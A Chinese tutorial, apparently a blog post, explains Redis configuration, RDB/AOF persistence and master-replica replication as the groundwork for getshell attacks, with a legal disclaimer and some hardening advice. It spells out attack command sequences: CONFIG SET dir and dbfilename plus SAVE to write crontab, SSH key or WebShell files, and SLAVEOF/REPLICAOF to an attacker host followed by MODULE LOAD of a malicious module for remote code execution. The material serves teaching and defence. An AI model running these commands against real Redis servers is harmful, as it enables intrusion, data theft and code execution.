redis三大机制:配置、持久化、主从复制(getshell 原理地基)

本文为教学用途,所有复现均在作者自建靶场内完成。请勿在未授权的情况下对真实系统进行测试。 根据《网络安全法》,未经授权测试、攻击他人系统属于违法犯罪行为。禁止复制 本文Payload 对外部站点进行测试,违规使用造成的一切后果由使用者自行负责。

后续所有 getshell 手法,本质都在利用下面三个机制:

  1. 配置文件 :Redis 允许用命令在线改配置CONFIG SET),改配置就能让它"把数据写到指定文件"。

  2. 持久化(RDB / AOF) :Redis 会把内存数据写到磁盘文件;写文件的时机、路径、文件名都可以被我们控制

  3. 主从复制(replica) :一台 Redis 可以从另一台"全量拉数据",而拉到的数据内容由对方说了算

攻击者真正在做的事:

  • 让 Redis 把数据写到我能利用的文件里(crontab / SSH 公钥 / WebShell / .so 模块);

  • 让 Redis 从我的假主库拉一份"夹带私货"的数据;

  • 然后想办法让这些内容被执行。


1. 配置文件:Redis 的全部行为都从这里来

1.1 redis.conf 长什么样

Redis 启动时可以加载一个配置文件(通常叫 redis.conf),里面是一行行 配置项 值。典型路径:

复制代码
# 查看当前实例实际用了哪些配置(最有用!)
redis-cli CONFIG GET *
# 会输出非常多行:配置名、值,成对出现

安全加固 / 攻击判断的第一步几乎都是 CONFIG GET *(或定向 GET),先看现状。

几个最关键的配置项(后面会反复用到):

复制代码
# 网络
bind 127.0.0.1          # 只监听本机
protected-mode yes      # 保护模式
port 6379
​
# 认证(Redis 6+ 还有 ACL)
requirepass 你的密码
​
# 持久化
dir /var/lib/redis      # 数据目录(重点!)
dbfilename dump.rdb     # RDB 文件名
appendonly no           # AOF 开关
appendfilename "appendonly.aof"

为什么先看 bind / protected-mode / requirepass?

这三个决定了"你能不能连上"。攻击成立的第一前提是网络可达 (bind 允许 + 防火墙放行),第二是能通过认证(没设密码 / 弱口令 / 未授权访问)。

1.2 CONFIG GET:读当前配置

复制代码
CONFIG GET dir          # 查询数据目录
CONFIG GET dbfilename
CONFIG GET appendonly

实测输出格式:配置名和值成对返回:

复制代码

1.3 CONFIG SET:在线改配置(攻击核心开关!)

正常情况下 Redis 允许运行时修改大多数配置,不需要重启、不需要改文件:

复制代码
CONFIG SET dir /tmp      # 把数据目录改成 /tmp
CONFIG SET dbfilename evil.rdb

**这是最关键的机制,没有之一。**正常运维用它调优;攻击者用它做两件事:

  1. dir 改到 /var/spool/cron (写计划任务)、/root/.ssh (写公钥)、网站根目录(写 WebShell)......

  2. dbfilename 改成目标文件名。

然后配合持久化命令把"我们精心构造的 key"写到目标文件 → 相当于任意文件写入
为什么 Redis 会允许在线改 dir / dbfilename?

因为它把自己定位成"内存服务",需要能灵活换持久化位置(换磁盘、换机器)。这是功能 ,不是漏洞。安全里"功能即漏洞"的典型:功能本身没错,错在暴露给了不该有权限的人 + 运行在高权限用户下 。堵它 = 禁用 CONFIG 命令 / 低权限运行 / ACL 控制,而不是删掉这个功能。

1.4 两种改配置的方式(顺序很重要)

复制代码
方式A:启动前改 redis.conf 文件
方式B:运行中用 CONFIG SET 在线改   ← 攻击者只能用这种

攻击者不可能去改你磁盘上的 redis.conf,所以一切远程攻击最终都落在 CONFIG SET 上。这就是为什么防御第一条往往就是"rename/禁用 CONFIG 命令"。


2. 持久化机制:内存数据是怎么变成磁盘文件的

Redis 数据在内存,丢了可惜,于是设计了两套"把数据写盘"的机制:RDBAOF

2.1 RDB:内存快照(默认开启)

原理一句话:把某个时刻内存里的全部数据,整体拍一张"快照",写成一个二进制文件。

  • 文件默认叫 dump.rdb,放在 dir 指定的目录。

  • 触发方式:

    • 手动:SAVE(阻塞)或 BGSAVE(后台,不阻塞)。

    • 自动:满足条件时自动(如"最近 900 秒内至少 1 次修改")。

  • 文件里存的是当时的完整数据

复制代码
SAVE    # 立刻落盘(阻塞,数据大时会卡)
BGSAVE  # 后台落盘,立即返回

为什么是二进制文件? 因为要序列化所有数据类型 + 做各种压缩优化。对人类不可读,但对 Redis 自己读起来快。攻击面看这里就够了:dump.rdb 里就是"数据库的全部内容"------如果你能下载这个文件,等于拿到整个库的副本。

2.2 AOF:追加日志(默认关闭)

原理一句话:把每一条"会改数据的写命令"按顺序追加到一个日志文件里。 重启时重放日志 = 恢复数据。

  • 文件默认叫 appendonly.aof

  • appendonly yes 开启。

CONFIG SET appendonly yes # 开启 AOF

之后 SET/HSET/DEL... 每条写命令都会追加进 appendonly.aof

RDB 和 AOF 有什么区别?

RDB(快照) AOF(日志)
记录什么 某个时刻的完整数据 每一条写命令
文件性质 二进制、紧凑 文本可读、可能很大
数据完整性 可能丢最近一次快照之后的数据 丢得少(取决于 fsync 策略)
恢复方式 直接加载快照 重放所有命令

两者经常一起开("混合持久化",Redis 4.0+):RDB 做主、AOF 补增量。

2.3 安全上最致命的组合:CONFIG SET dir + dbfilename + 落盘

把前两节连起来看,任意文件写入就成型了:

复制代码
1) CONFIG SET dir /目标目录          # 把数据目录指到攻击目标处
2) CONFIG SET dbfilename 目标文件名   # 比如 authorized_keys
3) 构造一个 key,让它的 value 正好是"我想写进去的内容"
   (比如 SSH 公钥、PHP 一句话、crontab 行)
4) SAVE / BGSAVE                      # 触发落盘 → 内容被写成文件
5) CONFIG SET dir /默认目录           # 恢复现场,防止被发现/报错

这个套路是不是和上面 1.3 的说法对上了

SAVE 到底把"谁的什么内容"写进文件? 是把整个数据库 (所有 key + value)序列化成一个文件。攻击者要的只是"文件里包含我那段 payload",因为:

  • crontab 只认里面能匹配到的计划任务行;

  • authorized_keys 只认里面合法的公钥行;

  • PHP 只认 <?php ...?> 那段。

所以就算文件里混着 Redis 二进制垃圾,只要目标解析器认得出那一行,利用就能成立。这就是为什么不用管文件格式干不干净。

但注意:RDB 文件头是二进制的 。crontab 用非 root 跑时对文件开头格式有要求,所以老套路要配 flushall + 只留一个 key 来"清洗",把二进制垃圾影响降到最低

2.4 现代版本的一点点差异

  • Redis 7+ 默认 save 策略/文件名可能不同,但 CONFIG SET dir + dbfilename + BGSAVE 机制仍在。

  • 新版默认对 CONFIG SET dir 没有硬性禁止,防御靠 ACL/命令禁用/权限,不是靠版本。

  • 所以原理不变,只是"能不能打到"取决于权限与配置


3. 主从复制(replication):数据怎么从一台跑到另一台

3.1 为什么需要主从

单台 Redis 挂了业务就断,数据也危险。于是有了"复制":

  • 一台 master(主库) 负责写;

  • 若干台 replica(从库,旧叫 slave) 从主库同步数据,只读,承担读流量 / 灾备。

客户端读写时的分工:

复制代码
写请求 ──► master
读请求 ──► replica(若干台,和 master 数据一致)

3.2 从库是怎么"同步"的?------这是 RCE 攻击的钥匙

当一个节点成为另一台的从库时,会经历:

  1. 从库发命令告诉主库:"我要当你的从"(REPLICAOF 主IP 主端口,老命令叫 SLAVEOF)。

  2. 主库先做一次 BGSAVE,把当前数据生成一份 RDB。

  3. 这份 RDB 通过 TCP 直接传给从库(这叫"全量同步 / full resync")。

  4. 从库拿到 RDB,加载到自己的内存 → 数据一致。

  5. 之后主库每执行一条写命令,就实时把命令"推送"给从库执行(增量同步)。

复制代码
master                        replica
  │   REPLICAOF master 6379      │   ← 从库主动发起
  │                              │
  ├── BGSAVE 生成 RDB ──────────►│
  │   发送 RDB(全量)           │── 加载到内存
  │                              │
  ├── SET x 1 ─────────────────►│   ← 之后每条写命令都实时推
  │                              │

关键点: 同步的内容是从库从主库"拉"下来的 ------也就是说,只要我让你去连我的假主库,你内存里就会加载我发给你的那份"RDB" 。那份 RDB 里如果夹带了一段"加载恶意模块"的指令,你的 Redis 就会执行它 → 代码执行(RCE) 。这就是"主从复刻(replication)RCE"的原理:让目标 Redis 主动来连我们控制的服务器,然后喂给它恶意数据

而"让目标来连我们"用什么命令?两个都行:

复制代码
SLAVEOF 192.168.1.100 6666      # 旧命令
REPLICAOF 192.168.1.100 6666    # 新命令(Redis 5+)

3.3 为什么会加载"模块"?(RCE 的具体落点)

Redis 从 4.0 起支持 Module(扩展模块) :用 C 写的 .so 动态库,MODULE LOAD 就能加载,加载后能新增命令。

复制代码
MODULE LOAD /path/to/evil.so    # 加载恶意模块 → 新增一个自定义命令
evilcmd args                    # 调用它 → 执行任意代码

主从复刻 RCE 的完整链条:

复制代码
攻击者:
  1) 自己写一个恶意 .so(里面是执行 system() 的代码)
  2) 在自己的机器上搭一个"假主库"
  3) 等目标 Redis 通过 SLAVEOF/REPLICAOF 连过来
目标 Redis:
  4) 目标发 REPLICAOF 攻击者IP 端口
  5) 假主库把恶意 .so 包装进一份 RDB 发给目标
  6) 目标加载这份 RDB(全量同步)
  7) RDB 里包含"加载模块"的动作 → 恶意 .so 被加载
  8) 攻击者调用新增命令 → RCE

这个套路和"写文件 getshell"比,优势在哪? 写 crontab/公钥/WebShell 依赖:目标目录可写 + 知道路径 + Redis 有权限 。主从复刻不依赖"写系统文件",只要能连上、能执行 SLAVEOF/REPLICAOF 就可能有戏,是 4.x/5.x 未授权/弱口令场景下更"通吃"的 RCE 路线。

那为什么不所有版本都打这个?

  • Redis < 4.0:没有 Module,此路不通。

  • Redis 4.x/5.x:Module + 复刻配合,老套路最常用。

  • Redis 6.0+:默认/配置上对"从库加载模块"有了更多限制,需要具体情况具体看(能不能 MODULE LOAD 受 ACL/配置约束)。所以版本判断是第一件事INFO serverredis_version

3.4 从库身份还能怎么被利用

不只是 RCE。攻击者甚至可以让目标变成自己从库后,随意往从库灌数据(污染缓存)、或者读取它的数据(同步到攻击者机器 = 数据窃取)。不过在真实的 web 攻击链里最常用还是 RCE。


4. 把三大机制串成一张"攻击地图"

现在回头看开头那句"所有攻击都是三个允许",具体化到 Redis:

攻击类型 用到上面哪个机制 一句话原理
未授权访问/读数据 网络 + 认证配置 你能连上它、它没拦你 → 直接读写库
写 crontab/公钥/WebShell 持久化 + CONFIG SET 改 dir/dbfilename,把构造好的 key 落盘到目标位置
主从复刻 RCE 主从复制 + Module 骗目标连你的假主库,喂它恶意 RDB,触发模块加载
DoS(灌数据) 单线程模型 无限写 key 撑爆内存 / KEYS * 阻塞
信息泄露 数据库内容 直接 GET/HGETALL/KEYS 读业务数据

每一步都是在"用这三个机制开关"。


5. 自测

  1. CONFIG GET dirCONFIG SET dir 分别做什么?为什么攻击者依赖 SET?

  2. 用一句话分别说清 RDB 和 AOF。

  3. 任意文件写入(写 WebShell)需要哪 4 步?

  4. 主从复刻 RCE 里,"目标主动来连我们"用的是哪条命令?真正执行代码的动作发生在哪一步?

  5. 为什么版本判断是第一件事?

相关推荐
万年咸鱼1 小时前
Java PrintStream 详解:从基础用法到实战技巧
java·开发语言·python
guwentian1 小时前
手撕 MCP:用 TypeScript 从零写一个能跑的最小客户端(附可运行 demo)
开发语言·nodejs·mcp
G佳伟1 小时前
宝塔面板打不开且 Bt-Panel 未运行:从 HTTP 502 到 gevent 缺失的完整排查与修复
网络协议·http·php
秋田君2 小时前
Qt_串口编程
开发语言·qt
worilb2 小时前
Java/JVM 常见诊断文件对比
java·开发语言
ttwuai2 小时前
Go 后台初始化 MySQL 脚本失败怎么办?先查 DDL 还是生成配置
开发语言·mysql·golang
2601_962885722 小时前
如何用 Python 做 A 股全市场扫描选股?(多条件筛选实战)
开发语言·python
奈斯先生Vector2 小时前
AIGC 视频生成换个拍法:用 Kling Video 把一张人物图变成可剪辑的短故事
开发语言·人工智能·windows·python·aigc·音视频
一木 之林2 小时前
五、C++ 新特性、关键字与编译原理(进阶)(一)
c语言·开发语言·c++